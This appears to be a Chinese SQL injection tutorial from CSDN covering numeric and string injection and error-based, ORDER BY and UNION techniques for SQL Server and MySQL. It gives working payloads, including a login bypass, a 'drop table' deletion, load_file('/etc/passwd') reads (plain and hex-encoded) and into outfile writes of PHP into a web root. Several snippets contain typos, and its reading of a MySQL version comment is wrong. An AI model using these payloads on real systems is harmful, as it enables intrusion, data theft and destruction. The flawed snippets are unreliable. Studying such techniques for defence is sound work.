1 SQL注入原理
用户名使用“ 'or 1=1–”登录,密码随意填写或不填
正常执行select count(*) from admin where username='admin' and password='password'
输入特殊用户select count(*) from admin where username=' ' or 1=1--'and password=' '
此时password被注释,而前面永远为真,也就可以顺利完成登录。
同样可以利用这种方式执行其他命令' or 1=1 ; drop table admin --’
因为SQLServer支持多语句执行,所以这里可以直接删除admin表
SQL注入漏洞的形成原因:用户输入的数据被SQL解释器执行
2 注入漏洞分类
2.1 数字型注入
当参数为整型时,如id、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
假设有URLHTTP://www.xxx.com/test.php?id=8
可以猜测SQL语句为:select * from table where id = 8
测试步骤如下:
1.
URL:HTTP://www.xxx.com/test.php?id=8'
SQL:select * from table where id = 8'
这样的语句肯定出错,导致脚本程序无法从数据库中正常获取数据,从而使原来的页面出现异常。
2.
URL:HTTP://www.xxx.com/test.php?id=8 and 1=1
SQL:select * from table where id = 8 and 1=1
语句执行正常,返回数据与原始请求无任何差异
3.
URL:HTTP://www.xxx.com/test.php?id=8 and 1=2
SQL:select * from table where id = 8 and 1=2
语句执行正常,但无法查询数据,因为1=2始终为假。所以返回数据与原始请求有差异。
如果以上三个步骤全都满足,则可能存在SQL注入漏洞。
这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型。
2.2 字符型注入
字符型和数字型最大的区别在于,字符串类型一般要使用单引号来闭合。
- 数字型例句
select * from table where id=8
- 字符型例句
select * from table where username = 'admin'
当攻击者进行SQL注入时,如果输入admin and 1=1将无法注入,因为会被当做查询字符串select * from table where username = 'admin and 1=1'
这时如果想要进行注入,就必须注意字符串闭合问题,如果输入admin’ and 1=1- - 就可以继续注入。
SQL语句:select * from table where username = 'admin' and 1=1 --'
只要是字符串类型注入都必须闭合单引号以及注释多余代码。
例如update person set username = 'username',set password='password' where id=1
对SQL语句注入update person set username = 'username' , set password=' ' + (select @@version)+' ' where id=1
注:数据库不同,字符串连接符不同,SQLServer为+,Oracle为||,mysql为空格
2.3 SQL注入分类
- POST注入:注入字段在POST数据中
- Cookie注入:注入字段在Cookie数据中
- 延时注入:使用数据库延时特性注入
- 搜索注入:注入出为搜索的地点
- base64:注入字符串需要经过base64加密
3.常见数据库注入
- 查询数据
- 读写文件
- 执行命令
3.1 SQL Server
3.1.1 利用错误消息提取信息
- 枚举当前表及列
现有一张表
creat table user(
id int not null identity(1,1),
username varchar(20) not null,
password varchar(20) not null,
privs int not null,
email varchar(50)
)
查询root用户详细信息select * from users where username = 'root'
攻击者可以利用SQLServer特性来获取敏感信息' having 1=1 --
最终执行select * from users where username='root' and password='root' having 1=1 --'
那么SQL 执行器将抛出一个错误
消息8120,级别16,状态1,第2行
选择列表中的列'user.id'无效,因为该列没有包含在聚合函数或GROUP BY子句中
可以发现当前表名为user,并且存在ID列名。select * from users where username='root' and password='root' group by user.id having 1=1 --'
消息8120,级别16,状态1,第1行
选择列表中的列'user.username'无效,因为该列没有包含在聚合函数或GROUP BY子句中
可以看到执行器又抛出了username列名,由此可以一次递归查询,直到没有返回为止,这样就可以利用having子句查询出所有列名。
- 利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常。select * from users where username = 'root' and password='root' and 1>(select top 1 username from users)
消息245 级别16 状态1 第2行
在将varchar值'root'转换成数据类型int时失败
利用此方式递归推导出所有的账户信息。select * from users where username = 'root' and password='root' and 1>(select top 1 username from users where username not in ('root'))
3.1.2 获取元数据
SQL Server提供了大量视图,便于取得元数据。
取得当前数据库表:SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student'
3.1.3 Order by子句
select id,username,password from users where id=1
SQL执行正常
select id,username,password from users where id=1 Order by 1
按照第一列排序,执行正常
select id,username,password from users where id=1 Order by 2
按照第二列排序,执行正常
select id,username,password from users where id=1 Order by 3
按照第三列排序,执行正常
select id,username,password from users where id=1 Order by 4
消息108 级别16 状态1 第1行
ORDER BY位置号4超出了选择列表中项数的范围。
得知列数后,攻击者通常会配合UNION关键字进行下一步攻击。
3.1.4 UNION 查询
- 所有查询中的列数必须相同
- 数据类型必须兼容
例一:联合查询探测字段数
正常语句:select id,username,password,sex from users where id=1
使用UNION查询对id字段注入select id,username,password,sex from users where id=1 union select null
数据库发出异常
消息205 级别16 状态1 第1行
使用UNION、INTERSECT或EXCEPT运算符合并的所有查询必须在其目标列表中有相同数目的表达式
递归查询,直到无错误产生,可得知User表查询的字段数:union select null,null
union select null,null,null
例二:联合查询敏感信息
如果得知列数为4,可以使用下列语句继续注入id=5 union select 'x',null,null,null from sysobject where xtype='U'
如果第1列数据类型不匹配,数据库将会报错,这是可以继续递归查询,直到语句正常执行为止。id=5 union select null,'x',null,null from sysobject where xtype='U'
id=5 union select null,null,'x',null from sysobject where xtype='U'
语句执行正常,代表数据类型兼容,就可以将x换为sql语句,查询敏感信息。
3.1.5 无辜的函数
- select suser_name():返回用户的登录标识名
- select user_name():基于指定的标识号返回数据库用户名
- select db_name():返回数据库名称
- select is_member(‘db_owner’):是否为数据库角色
- select convert(int,‘5’):数据类型转换
3.1.6 危险的存储过程
3.1.7 动态执行
SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句exec('select username,password from users')
exec('select username,password fro'+'m users')
3.2 MySQL
3.2.1 mysql中的注释
#
:注释从#
到行尾--
:注释从--
序列到行位,使用此注释时,需要跟上一个或多个空格
或tab
/* */
:注释为序列中间的字符。/**/
存在一个特点:select id/*!55555,username*/from users
执行结果如下:
+------+----------+
| id | username |
+------+----------+
| 1 | admin |
| 1 | xxser |
+------+----------+
发现/**/
注释没有起任何作用,因为其中的!
是有特殊意义的。/*!55555,username*/
的意思是,当mysql版本号大于等于5.55.55,语句会被执行,如果!
后不加入版本号,语句将直接执行。
3.2.2 获取元数据
- 查询用户数据库名称
select SCHEMA_NAME from INFORMATION_SCHEMA.SHEMATA LIMIT 0,1·
语句含义:从INFORMATION_SCHEMA.SCHEMATA表中查询出第一个数据库的名称 - 查询当前数据库表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select DAABASE()) limit 0,1
语句含义:从 INFORMATION_SCHEMA.TABLES 中查询当前数据库表,并且只显示第一条数据 - 查询指定表的所有字段
select COLUMN_NAME from INFROMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' LIMIT 0,1
语句含义:从INFROMATION_SCHEMA.COLUMNS中查询TABLE_NAME为Student的字段名,显示第一条。
3.2.3 UNION查询
分别在SQL Server、MySQL执行余下语句select id,username,password from users union select 1,2,3
Oracle执行select id,username,password from users union select 1,2,3 from dual
SQL Server:语句错误,数据类型不匹配
MySQL:正常
Oracle:语句错误,数据类型不匹配
所以,在SQL Server和Oracle中,最好使用null。
3.3.4 MySQL函数利用
- load_file()函数读文件操作
union select 1,load_file('/etc/passwd'),3,4,5,6 #
如果不允许单引号union select 1,load_file(0x2f6574632f706173737764),3,4,5,6 #
0x2f6574632f706173737764
为/etc/passwd
的十六进制。 - into outfile写文件操作
写入文件:select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
- 连接字符串
(1)concat()函数select name from student where id=1 union select concat (user(),',',database(),',',version());
结果如下:
+----------------------------------------------+
| name |
+----------------------------------------------+
| admin |
| xxser |
| root@localhost,myschool,5.1.50-community-log |
+----------------------------------------------+
可以发现三个值已经成为一列,并且以逗号隔开,在concat函数中逗号也可以用十六进制0x2c
表示
(2) concat_ws()函数select name from student where id=1 union select concat_ws(0x2c,user(),database(),version());
3.2.5 显错式注入
来源:CSDN
作者:ZhShy23
链接:https://blog.csdn.net/weixin_43651049/article/details/103952658